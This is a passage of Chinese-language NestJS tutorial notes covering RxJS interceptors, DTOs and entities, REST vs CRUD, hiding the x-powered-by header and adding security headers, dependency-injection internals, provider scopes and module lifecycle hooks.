        // 无论成功还是失败都会执行的清理逻辑
        const connection = this.activeConnections.get(requestId);
        if (connection) {
          const duration = Date.now() - connection.startTime;
          this.logger.debug(`清理资源: ${requestId}, 耗时: ${duration}ms`);

          // 执行具体的清理操作
          this.cleanupConnection(requestId);
          this.activeConnections.delete(requestId);
        }
      })
    );
  }

  private generateRequestId(request: any): string {
    return `${request.method}-${request.url}-${Date.now()}-${Math.random()}`;
  }

  private cleanupConnection(requestId: string): void {
    // 在这里执行具体的清理逻辑
    // 比如关闭数据库连接、清理临时文件、释放内存等
    this.logger.debug(`执行连接清理: ${requestId}`);
  }

  // 获取当前活跃连接数
  getActiveConnectionsCount(): number {
    return this.activeConnections.size;
  }
}
```

:::
**延迟响应**：

有时我们需要人为地延迟响应，比如模拟慢网络或实现渐进式加载：

::: details

```typescript
import { Injectable, NestInterceptor, ExecutionContext, CallHandler } from '@nestjs/common';
import { Observable } from 'rxjs';
import { delay, delayWhen, timer } from 'rxjs/operators';

@Injectable()
export class DelayInterceptor implements NestInterceptor {
  intercept(context: ExecutionContext, next: CallHandler): Observable<any> {
    const request = context.switchToHttp().getRequest();

    // 根据请求类型设置不同的延迟
    const delayMs = this.getDelayForRequest(request);

    if (delayMs > 0) {
      return next.handle().pipe(
        delay(delayMs) // 固定延迟
      );
    }

    return next.handle();
  }

  private getDelayForRequest(request: any): number {
    // 开发环境模拟慢网络
    if (process.env.NODE_ENV === 'development') {
      if (request.url.includes('/slow-api')) {
        return 2000; // 2秒延迟
      }
      if (request.url.includes('/simulate-loading')) {
        return Math.random() * 1000; // 随机延迟0-1秒
      }
    }

    return 0; // 生产环境不延迟
  }
}
```

:::

**组合使用多个运算符**：

在实际项目中，我们经常需要组合使用多个运算符来实现复杂的功能：

::: details

```typescript
import { Injectable, NestInterceptor, ExecutionContext, CallHandler, Logger } from '@nestjs/common';
import { Observable, throwError, timer } from 'rxjs';
import {
  catchError,
  timeout,
  retry,
  finalize,
  tap,
  map,
  retryWhen,
  delayWhen,
  take
} from 'rxjs/operators';

@Injectable()
export class ComprehensiveInterceptor implements NestInterceptor {
  private readonly logger = new Logger(ComprehensiveInterceptor.name);

  intercept(context: ExecutionContext, next: CallHandler): Observable<any> {
    const request = context.switchToHttp().getRequest();
    const { method, url } = request;
    const startTime = Date.now();

    this.logger.log(`开始处理请求: ${method} ${url}`);

    return next.handle().pipe(
      // 1. 设置超时
      timeout(10000),

      // 2. 重试机制
      retryWhen(errors =>
        errors.pipe(
          delayWhen((error, index) => {
            if (index < 2 && this.shouldRetry(error)) {
              const delay = 1000 * (index + 1);
              this.logger.warn(`重试请求: ${method} ${url}, 延迟: ${delay}ms`);
              return timer(delay);
            }
            return throwError(() => error);
          }),
          take(2)
        )
      ),

      // 3. 响应数据转换
      map(response => {
        // 可以在这里对响应数据进行统一处理
        return {
          success: true,
          data: response,
          timestamp: new Date().toISOString()
        };
      }),

      // 4. 成功时的副作用操作
      tap(response => {
        const duration = Date.now() - startTime;
        this.logger.log(`请求成功: ${method} ${url}, 耗时: ${duration}ms`);
      }),

      // 5. 错误处理
      catchError(error => {
        const duration = Date.now() - startTime;
        this.logger.error(`请求失败: ${method} ${url}, 耗时: ${duration}ms`, error.stack);
        return throwError(() => error);
      }),

      // 6. 最终清理
      finalize(() => {
        const duration = Date.now() - startTime;
        this.logger.debug(`请求处理完成: ${method} ${url}, 总耗时: ${duration}ms`);
      })
    );
  }

  private shouldRetry(error: any): boolean {
    const retryableErrors = ['ECONNRESET', 'ETIMEDOUT', 'ECONNREFUSED'];
    const retryableStatusCodes = [502, 503, 504];

    return (
      retryableErrors.includes(error.code) ||
      retryableStatusCodes.includes(error.status)
    );
  }
}
```

:::

**最佳实践**

在使用 RxJS 构建拦截器时，应根据具体需求选择合适的运算符，避免过度复杂化，同时注意性能和内存管理，确保 Observable 能正确完成，合理设置超时和重试策略。

在错误处理方面，应区分可重试和不可重试的错误，并提供有意义的错误信息。

日志记录要关注关键操作和上下文，并使用合适的日志级别。

通过编写单元测试验证复杂运算符组合、异常情况以及资源清理逻辑，可以让拦截器成为处理缓存、日志、QoS、错误等横切关注点的强大工具，从而构建更加健壮和高性能的应用程序。

---

---
url: /nest/l6vofdlf/index.md
---
# 记一些Nest.js的一些坑或技巧
## 使用 @nestjs/serve-static 托管静态资源

```ts
imports: [
    ServeStaticModule.forRoot({
      rootPath: join(__dirname, '..', 'public'), // 指向 public 目录
      serveRoot: '/', // 静态资源根路径
      exclude: ['*'], // 排除所有路由，只有真实静态资源才会被处理
    }),
    UsersModule,
  ],
```

上述配置防止访问任何不存在的路径都会返回 index.html，默认 ServeStaticModule 会把所有未命中的路由都返回 index.html

## interface & DTO & Entity 的区别

`interface`（类型接口）

* 只是 **开发阶段的类型提示**
* 运行时不会存在，不能做验证、转换
* 不能加装饰器（如 `@IsString()` 等）

💡 用来描述“这个对象应该长什么样”，但不会被 Nest 用来做任何实际的事情。

`DTO`（数据传输对象）

* 是一个 **真实存在的类**
* 会被 `class-validator` 和 `class-transformer` 用来做 **校验 + 转换**
* 常用于 `@Body()`、`@Query()`、`@Param()` 等请求输入

💡 相当于“前端 → 后端”的数据过滤门卫，它可以检查输入是否合法，还能自动转类型。

`Entity`（实体类）

* 用在 ORM（如 TypeORM、Prisma）中
* 是后端代码和数据库“表”的映射
* 通常用在 `Repository.save()`、`Repository.find()` 这样的数据库操作中

💡 Entity 是数据在后端落地的模型，而 DTO 是数据“进门”之前的检查器。

**关系**：

```text
[interface] ←开发阶段使用（类型提示）

[前端请求]
     ↓
[DTO] ← 校验、过滤、类型转换（transform + validate）
     ↓
[Entity] ← 存入数据库（TypeORM / Prisma）
     ↑
[Entity] → 转换成响应 DTO → 发送给前端
```

**总结**：

* `interface` 是写代码时的“草图”，
* `DTO` 是请求进门前的“安检员”，
* `Entity` 是数据库里的“实名登记表”。

## REST 和 CRUD 的区别

CRUD 是数据库和应用开发中最基础的四种操作，分别是：

* **C**reate —— 创建（新增数据）
* **R**ead —— 读取（查询数据）
* **U**pdate —— 更新（修改数据）
* **D**elete —— 删除（删除数据）

这四个操作涵盖了绝大多数数据的增删改查行为。

REST（Representational State Transfer，表述性状态转移）是一种**设计网络服务的架构风格**，它定义了一套基于 HTTP 协议的标准和原则，用于构建可扩展、可维护的网络 API。

REST 规定：

* 使用 **HTTP 方法** 来操作资源：
  * `POST` 用于创建资源
  * `GET` 用于读取资源
  * `PUT` / `PATCH` 用于更新资源
  * `DELETE` 用于删除资源
* 每个资源都对应一个唯一的 URL（URI）
* 无状态请求（服务器不保存客户端状态）

**REST 和 CRUD 的关系？**

REST API 中的操作往往映射到 CRUD 的操作上。

**CRUD 是操作数据的概念，REST 是通过 HTTP 实现这些操作的设计规范。**

| CRUD 操作 | REST HTTP 方法 | 说明          |
| --------- | -------------- | ------------- |
| Create    | POST           | 创建新资源    |
| Read      | GET            | 查询/读取资源 |
| Update    | PUT / PATCH    | 修改已有资源  |
| Delete    | DELETE         | 删除资源      |

**例子**

| 操作                 | HTTP 请求            | 描述                 |
| -------------------- | -------------------- | -------------------- |
| 创建用户（Create）   | `POST /users`        | 新增用户             |
| 查询所有用户（Read） | `GET /users`         | 获取用户列表         |
| 查询单个用户         | `GET /users/{id}`    | 根据 ID 获取用户详情 |
| 更新用户             | `PUT /users/{id}`    | 修改指定 ID 的用户   |
| 删除用户             | `DELETE /users/{id}` | 删除指定 ID 的用户   |

**总结**：CRUD 是数据操作的抽象概念，REST 是用 HTTP 方法来规范和实现这些操作的架构风格。

## 动态移除Header

在**最佳实践**中，建议移除或隐藏一些可能**暴露后端实现细节的响应头（Header）**，这是提升安全性和防止信息泄露的一个常见手段。

比如暴露 `X-Powered-By: Express`，攻击者知道你用的是 Express，就可能利用已知的 Express 漏洞、攻击点或中间件绕过方式。

使用中间件，动态移除一些 HTTP 响应头，比如 x-powered-by，以提升安全性。

```ts
// security.middleware.ts
import { Injectable, NestMiddleware } from '@nestjs/common';
import { Request, Response, NextFunction } from 'express';

@Injectable()
export class SecurityMiddleware implements NestMiddleware {
  use(req: Request, res: Response, next: NextFunction) {
    // 移除 x-powered-by，可以根据需求加上自定义逻辑层进行动态移除
    res.removeHeader('x-powered-by');
	
    // 还可以换上一些...
    next();
  }
}
```

在 app.module.ts 注册全局中间件

```ts
// app.module.ts
import { MiddlewareConsumer, NestModule } from '@nestjs/common';
import { SecurityMiddleware } from './middlewares/security.middleware';

// ...

export class AppModule implements NestModule {
  configure(consumer: MiddlewareConsumer) {
    consumer.apply(SecurityMiddleware).forRoutes('*');
  }
}
```

如果只是简单移除，可以在 **main.ts** 使用`app.disable('x-powered-by');`

```ts
const expressApp = app.getHttpAdapter().getInstance();
expressApp.disable('x-powered-by');
```

Express有可能在中间件执行后**又添加一次 `x-powered-by`**（Express 默认行为），导致你的 `removeHeader` 失效。

```ts
// 推荐的安全 HTTP Header
res.setHeader('X-Content-Type-Options', 'nosniff'); // 防止 MIME 类型混淆攻击
res.setHeader('X-Frame-Options', 'DENY'); // 禁止页面被 iframe 嵌套（点击劫持防护）
res.setHeader('X-XSS-Protection', '1; mode=block'); // 启用浏览器 XSS 过滤
res.setHeader('Referrer-Policy', 'no-referrer'); // 限制 Referer 泄露
```

`helmet` 会自动添加大量安全 header，非常省心，推荐生产环境使用。

```bash
npm i helmet
```

```ts
import helmet from 'helmet';

const app = await NestFactory.create(AppModule);
app.use(helmet());
```

## Request 中的 ip 和 headers

`Request` 的类型推断中，有时**不包含 `.ip` 和 `.headers` 的类型定义**（虽然运行时这些字段确实存在）。
所以会出现这种编译时的报错：

```json
TS2339: Property 'ip' does not exist on type 'Request<...>'.
TS2339: Property 'headers' does not exist on type 'Request<...>'.
```

使用类型合并处理

```ts{7}
import { Controller, Get, Req } from '@nestjs/common';
import { Request } from 'express';

@Controller('init')
export class InitController {
  @Get()
  getInitInfo(@Req() request: Request & { ip: string; headers: any }) {
    return {
      status: 'Successful startup',
      env: process.env.NODE_ENV || 'unknown',
      vercel: !!process.env.VERCEL,
      ip: request.ip,
      'x-forwarded-for': request.headers['x-forwarded-for'] || null,
      timestamp: new Date().toISOString(),
      version: '1.0.0',
      uptime: process.uptime(),
      memory: process.memoryUsage(),
    };
  }
}
```

## process.cwd() &  \_\_dirname

`process.cwd()` 获取 Node.js **进程的当前工作目录**，即启动进程时所在的路径。

**使用场景：**

* 获取项目根路径（依赖启动位置）
* 读取 `.env` 或其他根级配置文件
* 动态构建路径（如日志存储、上传目录）

**注意事项：**

* 值会随着 `process.chdir()` 改变
* **结果与模块位置无关**，依赖于 Node.js 启动命令的工作目录

`__dirname` 获取当前模块文件所在的**目录的绝对路径**。

**使用场景：**

* 加载与当前模块相对的资源文件（如 JSON、配置等）
* 构建模块内部专用的静态路径（如模板、图像）

**注意事项：**

* 值在模块中是固定的
* 在 **ES Module** 模式下需用 `import.meta.url` 处理后获取

**稳定性**：使用 `process.cwd()` 保证无论在哪个模块调用，日志目录始终定位到**项目根路径**。

**可移植性**：如果该模块作为 npm 包被引入，它仍然能把日志写入**宿主项目的根目录**。

**一致性**：与 NestJS 应用级资源和组件通常位于根路径的设计保持一致。

## SOLID 原则和在NestJS 中的最佳实践{#SOLID-principles-and-best-practices-in-NestJS}

**SOLID 原则简述（面向对象设计五大原则）**

| 原则  | 全称                                   | 简要说明                             |
| ----- | -------------------------------------- | ------------------------------------ |
| **S** | **Single Responsibility** 单一职责原则 | 一个类只做一件事，职责要单一         |
| **O** | **Open/Closed** 开放封闭原则           | 对扩展开放，对修改封闭               |
| **L** | **Liskov Substitution** 里氏替换原则   | 子类能替代父类出现在任何地方         |
| **I** | **Interface Segregation** 接口隔离原则 | 不强迫实现无关接口，接口应小而精     |
| **D** | **Dependency Inversion** 依赖倒置原则  | 高层模块不依赖底层模块，依赖抽象接口 |

在 NestJS 中的实践建议

| 原则  | NestJS 实践方式                                              |
| :---: | ------------------------------------------------------------ |
| **S** | 控制器只负责处理请求/响应，服务负责业务逻辑，数据库操作交给仓储（Repository）等模块，**职责分离** 清晰 |
| **O** | 使用 `extends` / `implements` 复用逻辑，通过模块或服务替换实现，**无需修改原始逻辑即可扩展功能** |
| **L** | 使用接口或抽象类注入不同实现类，子类可以透明替代，符合**模块互换性要求** |
| **I** | 使用专门的接口划分服务职责，避免定义过大的 DTO 或服务接口    |
| **D** | 借助 Nest 的依赖注入容器，使用接口 + `useClass` / `useFactory` / `useExisting` 等方式注入依赖，**依赖于抽象而非具体实现** |

示例：依赖倒置在 Nest 中的应用

```ts
// 定义抽象接口
export interface NotificationService {
  send(message: string): void;
}

// 提供默认实现
@Injectable()
export class EmailService implements NotificationService {
  send(message: string) {
    console.log(`Send email: ${message}`);
  }
}

// 模块中绑定接口与实现
@Module({
  providers: [
    {
      provide: 'NotificationService',
      useClass: EmailService,
    },
  ],
})
export class NotifyModule {}
```

在消费者中使用：

```ts
@Injectable()
export class AlertService {
  constructor(
    @Inject('NotificationService') private readonly notifier: NotificationService,
  ) {}

  alert(msg: string) {
    this.notifier.send(msg);
  }
}
```

**总结**

* **SOLID 原则为模块化、可测试、可维护的架构提供理论基础**
* **Nest 的依赖注入系统天生支持 SOLID 实践**
* **保持代码职责清晰、接口细化、依赖抽象，是编写良好 NestJS 应用的关键**

## DTO 和 Interface的最佳实践{#best-practices-for-DTOs-and-interfaces}

在 NestJS 中，应该用 interface 还是 DTO（类）来限制数据结构？是否需要二者分离，比如 interface 给服务用，DTO 给控制器用？

**在控制器处理请求时统一使用 DTO（类 + 验证器）作为类型定义，在服务层也尽量复用 DTO，除非确实需要定义不同的内部结构。**

换句话说：

* 控制器用 **DTO 类（含验证器）**
* 服务层 **优先复用 DTO（作为输入类型）**，但可用 `interface` 或 `Pick<>` 等组合方式做适当抽象

**为什么推荐统一使用 DTO？**

DTO 是类，支持 **运行时验证**

NestJS 的 `ValidationPipe` 是基于 **类的元数据（装饰器）** 来进行运行时校验的，而接口只在 **TypeScript 编译时检查**，无法用于运行时校验。

```ts
@IsString()
name: string;
```

只有在类中才有效，interface 无法使用这些装饰器。

**类可以被 Nest 扫描、序列化、文档化（如 Swagger）**

如果你将来使用 `@nestjs/swagger` 自动生成接口文档，DTO 是必要前提，因为：

```ts
@ApiBody({ type: CreateCatDto })
```

只接受 class 类型，interface 无法参与元数据生成。

**类型一致性：服务层使用 DTO，减少重复定义**

如果你把接口专门用于服务层（如 `Cat`），而控制器使用 DTO（如 `CreateCatDto`），会面临两个重复数据结构：

```ts
// interface Cat
interface Cat {
  name: string;
  age: number;
  breed: string;
}

// class CreateCatDto
export class CreateCatDto {
  @IsString()
  name: string;
  @IsInt()
  age: number;
  @IsString()
  breed: string;
}
```

这种重复带来维护成本，未来字段调整时需要改两份。

**那什么时候使用 interface 比较合适？**

| 场景                       | 原因                                                         |
| -------------------------- | ------------------------------------------------------------ |
| 服务层中的内部数据结构     | 比如组合模型、只读输出对象、数据库查询结果等，**不需要验证** |
| 泛型工具类型               | 如 `Partial<Cat>`、`Pick<Cat, 'name'>` 等功能性类型          |
| 定义返回类型               | 如 `Promise<Cat[]>`，用于表示服务返回内容结构                |
| 定义接口约束（不带装饰器） | 比如 `NotificationService` 接口，只用于类型抽象，不用于验证  |

**推荐实践**

```ts
// CreateCatDto.ts（控制器用、也可传给服务）
export class CreateCatDto {
  @IsString()
  name: string;

  @IsInt()
  age: number;

  @IsString()
  breed: string;
}

// Cat.interface.ts（仅用于返回类型或数据库模型）
export interface Cat {
  id: number;
  name: string;
  age: number;
  breed: string;
  createdAt: Date;
}
```

控制器使用：

```ts
@Post()
create(@Body() dto: CreateCatDto) {
  this.catsService.create(dto);
}
```

服务使用：

```ts
create(cat: CreateCatDto) {
  // ...
}
```

返回类型使用接口：

```ts
findAll(): Cat[] {
  // ...
}
```

**总结**

| 比较项           | DTO（类）            | Interface                        |
| ---------------- | -------------------- | -------------------------------- |
| 编译时类型检查   | ✅                    | ✅                                |
| 运行时验证       | ✅（装饰器 + Pipe）   | ❌                                |
| Swagger 文档生成 | ✅                    | ❌                                |
| 可继承、组合     | ✅（类继承）          | ✅（工具类型如 Pick）             |
| 推荐用途         | 请求体输入、入参校验 | 返回值类型、数据库模型、只读结构 |

**实战建议**：

* 请求数据统一使用 DTO（含验证）
* 服务逻辑中可直接用 DTO，也可封装更抽象的接口
* 避免定义内容重复的 interface + DTO 两套系统

## constructor(private catsService: CatsService)的原理

为什么写 `constructor(private catsService: CatsService)` 就能自动注入 CatsService 的实例？

这是 **NestJS 的依赖注入机制 + TypeScript 类型信息反射** 的结果。

**原理简述：**

Nest 会在应用启动时**扫描构造函数的参数类型**，并根据 `CatsService` 的类型，在当前模块的 `providers` 数组中查找是否有该类的提供者。

具体过程：

```ts
constructor(private catsService: CatsService) {}
```

* `CatsService` 是类，也是一个类型（TS 允许类作为类型）
* Nest 通过 **TypeScript 的设计时类型信息 + `Reflect` 元数据** 得知你需要 `CatsService`
* 如果它已注册为模块的 provider（如下），Nest 就会自动创建实例并注入：

```ts
@Module({
  providers: [CatsService], // 👈 注册为可注入类
})
```

要实现这一功能，你必须：

1. 类上使用 `@Injectable()` 装饰器（使其变为 Nest 可管理的提供者）
2. 在当前模块的 `providers` 中注册它

**详细版**：

```ts
export class AppController {
    constructor(private readonly appService: AppService) {}
    // ...
}
```

是谁调用了这个`AppController`：是 Nest 框架的 IoC 容器（Injector）在应用启动时调用构造函数并自动注入参数的。这不是用户代码调用，而是 Nest 的内部框架在应用初始化阶段自动解析模块依赖图，**根据类型信息自动调用构造函数**，并注入正确的依赖实例。

**详细还原 Nest 的 DI 注入流程**：

第一步：Nest 启动时执行 `AppModule` 的 `NestFactory.create(AppModule)`

```ts
// main.ts
async function bootstrap() {
  const app = await NestFactory.create(AppModule); // 👈 入口
  await app.listen(3000);
}
```

这会启动一个叫做 **NestApplicationContext** 的容器系统。

第二步：Nest 扫描 `AppModule` 的元数据（通过 `@Module()` 装饰器）

```ts
@Module({
  controllers: [CatsController],
  providers: [CatsService],
})
export class AppModule {}
```

Nest 从这个模块中提取出：

* 要创建的控制器：`CatsController`
* 要创建的服务提供者：`CatsService`

然后它会开始**构建依赖图**（Dependency Graph）。

第三步：Nest 创建 `CatsService` 实例

```ts
@Injectable()
export class CatsService {
  ...
}
```

* Nest 检查 `CatsService` 是否有构造函数参数 → 没有，直接调用 `new CatsService()` 得到实例。
* 该实例被注册进全局容器，并标记为“已就绪”（已构建）。

第四步：Nest 创建 `CatsController` 实例

控制器是通过 `new CatsController(...)` 构造的，但不是你写的，是 Nest 自动做的。

这时候 Nest 会：

**1. 读取构造函数参数类型**

这一关键操作依赖 TypeScript 元数据反射：

```ts
Reflect.getMetadata('design:paramtypes', CatsController);
// 👈 得到：[CatsService]
```

说明：构造函数需要一个类型为 `CatsService` 的参数。

这依赖于你在 `tsconfig.json` 中设置了：

```json
"emitDecoratorMetadata": true,
"experimentalDecorators": true
```

**2. 在容器中查找 `CatsService` 的实例**

Nest 查询内部容器中是否有已构建的 `CatsService`：

```ts
const catsServiceInstance = container.get(CatsService); // ✅ 存在，复用
```

**3. 调用构造函数并注入实例**

Nest 用反射调用：

```ts
const controllerInstance = new CatsController(catsServiceInstance);
```

就这样，你写的 `constructor(private catsService: CatsService)` 得到注入。

此时 `catsService` 属性已自动赋值。

**Nest 构造函数注入全流程**

```text
NestFactory.create(AppModule)
           ↓
扫描模块元数据 (@Module)
           ↓
构建 Providers（CatsService）
           ↓
构建 Controllers（CatsController）
           ↓
读取 CatsController 构造函数参数类型 (Reflect.getMetadata)
           ↓
在容器中查找/构建 CatsService 实例
           ↓
调用构造函数 new CatsController(catsServiceInstance)
           ↓
将控制器注册进路由系统，完成依赖注入
```

**重点**：

**类作为类型，是如何记录下来的？**

当你写了：

```ts
constructor(private catsService: CatsService) {}
```

TypeScript + `emitDecoratorMetadata` 会生成以下运行时元数据：

```ts
{
  "design:paramtypes": [CatsService]
}
```

这就是 Nest 能拿到参数类型信息的关键。

**是谁调用了构造函数？**

Nest 的内部类 `Injector` 调用，它在构建实例时，会：

```ts
new Constructor(...resolvedDependencies)
```

这些依赖是通过元数据拿到的。

**总结**:

| 问题                               | 解答                                                     |
| ---------------------------------- | -------------------------------------------------------- |
| 谁调用构造函数？                   | Nest 的 IoC 容器调用（非用户代码）                       |
| 何时调用？                         | 在模块初始化阶段，扫描 controller/providers 时           |
| 为什么能注入正确的类？             | 利用 TS 装饰器元数据读取构造函数参数类型，并在容器中查找 |
| 构造函数参数后面的类是类型还是值？ | **是类型，也是构造函数，TS 类兼具两种角色**              |
| `private` 有什么作用？             | 简写方式，自动声明 + 初始化属性（见前面问题）            |
| `{}` 里是否能写代码？              | ✅ 可以写逻辑，但不建议写副作用代码                       |

## private的简写

```ts
constructor(private catsService: CatsService) {}
```

这是 **TypeScript 的简写语法**，用于自动声明并初始化成员属性。

等价于以下完整写法：

```ts
class CatsController {
  private catsService: CatsService;

  constructor(catsService: CatsService) {
    this.catsService = catsService;
  }
}
```

所以 `private catsService: CatsService` 的意思是：

* 定义一个名为 `catsService` 的私有属性，类型为 `CatsService`
* 同时将构造函数传入的参数赋值给这个属性

## 同一个控制器注入请求级和单例

**控制器最终的作用域会由它依赖的“最小作用域级别”决定。请求级 > 单例，所以只要注入了请求级服务，控制器就会自动变成请求级。**

控制器的作用域是由**它的依赖链决定的**：

* 如果你注入的 **都是单例服务** → 控制器就是默认的单例
* 如果你注入了 **请求级服务** → 控制器会“冒泡”变成请求级
* 如果你注入了 **瞬态服务** → 控制器不会变成瞬态（瞬态不会影响上层作用域）

```ts
// UserService 是单例
@Injectable()
export class UserService {}

// LoggerService 是请求级
@Injectable({ scope: Scope.REQUEST })
export class LoggerService {}

@Controller('cats')
export class CatsController {
  constructor(
    private userService: UserService,          // 单例
    private loggerService: LoggerService       // 请求级
  ) {}
}
```

上面的 `CatsController` 虽然注入了一个单例服务，但只要有一个是请求级，控制器本身就会**被提升为请求级**。

**不能混用不同作用域的控制器吗？**

其实 NestJS **允许你在一个控制器中注入不同作用域的服务**，只要你接受这个控制器会被整体提升到“最小生命周期”（通常是请求级）。

* 是合法的
* 是常见的（比如你要用 traceId，又要查数据库）
* **但要注意性能影响，控制器每次请求都要重新创建**

**如果你不想控制器变成请求级怎么办？**

你就**不能注入请求级服务**，而是要通过其他方式\*\*“向下传递”上下文\*\*，比如：

* 用 `@Inject(REQUEST)` 拿到原始请求（`@Req() req: Request`）
* 从控制器层级把数据传到需要的服务，而不是依赖注入

## @Req() 和 @Inject()  语法糖

`@Req()` 本质上就是 `@Inject(REQUEST)` 的语法糖

```ts
// 写在 Controller 里
@Get()
handle(@Req() req: Request) {
  console.log(req.headers);
}

// 等价于
@Get()
handle(@Inject(REQUEST) req: Request) {
  console.log(req.headers);
}
```

只不过：

* `@Req()` 是 Nest 给你包了一层，让你写得更短更直观；
* 而 `@Inject(REQUEST)` 是低层的原理实现，**你想在 Service 里用就只能用它**。

“@Inject(REQUEST) 怎么向下传？” ？？？

**它不是“向下传”，它就是直接注入进来的——只不过你平时在控制器里习惯用 `@Req()` 这个糖而已 🍬。**

```ts
客户端请求 --> Nest 控制器方法被调用
              |
              |--> @Req() 自动注入 Request（语法糖）
              |
              |--> 你要用 req，就传下去
              |    或者在某个服务里用 @Inject(REQUEST) 注入它（Nest 框架帮你搞定）
```

| 用法               | 控制器中是否可用 | 服务中是否可用       | 备注               |
| ------------------ | ---------------- | -------------------- | ------------------ |
| `@Req()`           | ✅ 是             | ❌ 否                 | 只能用在方法参数中 |
| `@Inject(REQUEST)` | ✅ 是（不常见）   | ✅ 是（必须是请求级） | 用于构造函数注入   |

## DI子树和DI树

想象你 Nest 项目的所有服务、控制器、模块、依赖关系构成了一棵树：

* 根是 AppModule
* 中间是各个模块、控制器
* 叶子节点是各种服务（Service）

这棵树 Nest 在启动时一次性构造好，并且默认**整个项目都用一套共享实例（即单例）**。

现在来了个请求，Nest 就走这个大树，找到响应控制器和服务，用**已有的单例实例去处理请求**。
这就是默认行为。

但如果你声明了：

```ts
@Injectable({ scope: Scope.REQUEST })
export class UserContextService {}
```

Nest 就不能用全局的那棵树了，因为你要的这个服务必须**每次请求都新建**。
于是它会为你新建一棵“局部子树”，只复制那一部分需要请求级的服务。

这就是所谓的“**请求级 DI 子树**”。

## 服务类注册的两种方式

方式一：**隐式绑定（推荐默认方式）**

```ts
// 注册：
providers: [AppService]

// 使用：
constructor(private readonly appService: AppService) {}
```

特点：

* 自动以类名 `AppService` 作为 Token 注册和注入
* 简洁、直观、90% 场景下够用
* 对应的注入语法也是：`constructor(private xxx: AppService)`

方式二：**显式绑定（useClass）**

```ts
// 注册：
providers: [
  {
    provide: 'MyServiceAlias', // 自定义 token
    useClass: MyService,       // 实际类
  },
]

// 使用：
constructor(@Inject('MyServiceAlias') private readonly myService: MyService) {}
```

特点：

* 显式指定 Token 名称（可自定义、可多命名）
* 多用于需要**多个实现类**或做**别名**时
* 也可用于替换某个服务的实现（比如单元测试、运行时切换）

| 方式                 | 语法简洁性 | 灵活性       | 推荐使用场景                         |
| -------------------- | ---------- | ------------ | ------------------------------------ |
| `[AppService]`       | ✅ 简洁     | ❌ 不可自定义 | 常规开发、默认使用方式               |
| `provide + useClass` | ❌ 略繁琐   | ✅ 高灵活     | 多实现切换、别名注入、测试 mock 场景 |

**真实例子**

比如你有两个日志服务实现类：

```ts
@Injectable()
export class FileLogger implements LoggerService {
  log() {
    console.log('写入文件');
  }
}

@Injectable()
export class ConsoleLogger implements LoggerService {
  log() {
    console.log('输出控制台');
  }
}
```

你可以在 `AppModule` 里动态选择使用哪一个：

```ts
providers: [
  {
    provide: 'LoggerService',
    useClass: process.env.LOG_TO_FILE ? FileLogger : ConsoleLogger,
  },
]
```

然后注入时统一用：

```ts
constructor(@Inject('LoggerService') private logger: LoggerService) {}
```

**默认注册适合快速开发**，**useClass 适合灵活配置或更复杂的依赖管理场景**。

## 在Module类中能写啥

虽然在大型项目中，`AppModule` 更多是作为“根模块”或“聚合模块”使用，但它**不是不能写东西**，而是：

**常见用途包括**：

| 目的                     | 举例                                        |
| ------------------------ | ------------------------------------------- |
| 注册全局服务             | 如配置服务、日志服务、拦截器、异常过滤器等  |
| 提供一些“别名”或“策略”类 | 如 `LoggerAliasProvider`                    |
| 注册一些平台适配层       | 如注册 Express 中间件、自定义管道、动态模块 |
| 注册全局常量、配置项     | 如 `useValue: { APP_CONFIG: xxx }`          |

“**模块类**”本身也可以注入依赖的体现，Nest 中的模块类不仅是个装饰器容器，它**自己也可以作为被实例化的类被注入依赖**。

```ts
@Module({
  imports: [AppModule],
})
export class OtherModule {
  constructor(@Inject('APP_CONFIG') private config: any) {
    console.log('OtherModule 初始化时能拿到 config：', this.config);
  }
}
```

**目的不是为了“注册”，而是为了“执行副作用”或“初始化逻辑”。**

**适用场景：**

* 在模块初始化阶段做一些副作用处理（例如连接、注册、上报）
* 动态模块时读取共享配置
* 在模块内部注册一些依赖时用到它

但这不是常规推荐做法，**模块类中一般不会主动写构造函数逻辑**，除非你确实需要在模块加载时就执行某些逻辑。

模块（class）本身 90% 真的不会写任何代码，`@Module()` 装饰器是配置区域，注册依赖，`class AppModule {}` 是 Nest 在内部实例化模块时需要的“外壳”

用生命周期钩子 `onModuleInit()`（用于初始化逻辑）

```ts
import { Module, OnModuleInit, Injectable } from '@nestjs/common';
import { DataSource } from 'typeorm';

@Injectable()
export class DatabaseService implements OnModuleInit {
  constructor(private dataSource: DataSource) {}

  async onModuleInit() {
    try {
      await this.dataSource.initialize();
      console.log('[数据库] 已成功连接');
    } catch (error) {
      console.error('[数据库] 连接失败', error);
      process.exit(1); // 连接失败直接终止程序
    }
  }
}

@Module({
  providers: [DatabaseService],
})
export class AppModule {}
```

**@Module 装饰器是注册依赖的地方，class 本体几乎不会写逻辑。真正写逻辑的是服务类里的生命周期钩子**。

在 `AppModule` 的 `constructor()` 中的逻辑，**会早于** `onModuleInit()` 生命周期钩子执行。

因为：

* `constructor()` 是**类被实例化时立刻执行**的 JS 标准行为（与 Nest 无关）
* `onModuleInit()` 是 Nest 的生命周期钩子，**在实例化完毕 & 依赖注入完成后才会执行**

```ts
AppModule constructor() --> onModuleInit() --> [NestApplication] Nest application successfully started
```

```ts
@Module({})
export class AppModule implements OnModuleInit {
  constructor() {
    console.log('✅ AppModule constructor 执行');
  }

  onModuleInit() {
    console.log('✅ AppModule 生命周期钩子 onModuleInit 执行');
  }
}
```

输出：

```ts
✅ AppModule constructor 执行
✅ AppModule 生命周期钩子 onModuleInit 执行
```

虽然 constructor 更早执行，但你应该 **避免在 constructor 里写依赖相关的逻辑**，因为此时：

* 依赖注入还没完成
* 依赖项可能是 `undefined`
* 尤其在涉及数据库、配置服务时，容易出错

✅ 最推荐的初始化位置仍然是 `onModuleInit()`，因为这时：

* 所有注入依赖都准备好了
* 可安全访问注入服务，例如 `ConfigService`、`DataSource` 等

通常在 `AppModule` 的构造函数中，写一些**简单的人性化日志提示**，比如：XXX服务器开始启动....

## 生命周期钩子的两种写法

**写在模块类中**

```ts
@Module({
  imports: [...],
  providers: [...],
})
export class AppModule {
  onModuleInit() {
    console.log('AppModule initialized');
  }
}
```

* ✅ **可以执行初始化逻辑**
* ❌ 但是：**`AppModule` 不是 provider**，Nest 只是「通过特殊处理」允许你定义生命周期钩子；
* ❌ 无法使用依赖注入，不能访问 `AppService` 或其他服务；
* ⚠️ **模块初始化粒度太粗**，不适合做具体业务初始化。

**写在 `AppService` 中（推荐）**

```ts
@Injectable()
export class AppService implements OnModuleInit {
  onModuleInit() {
    console.log('AppService initialized');
    // 可以访问 this.xxx，拿到数据库、配置等依赖
  }
}
```

✅ Nest 会自动调用该钩子；

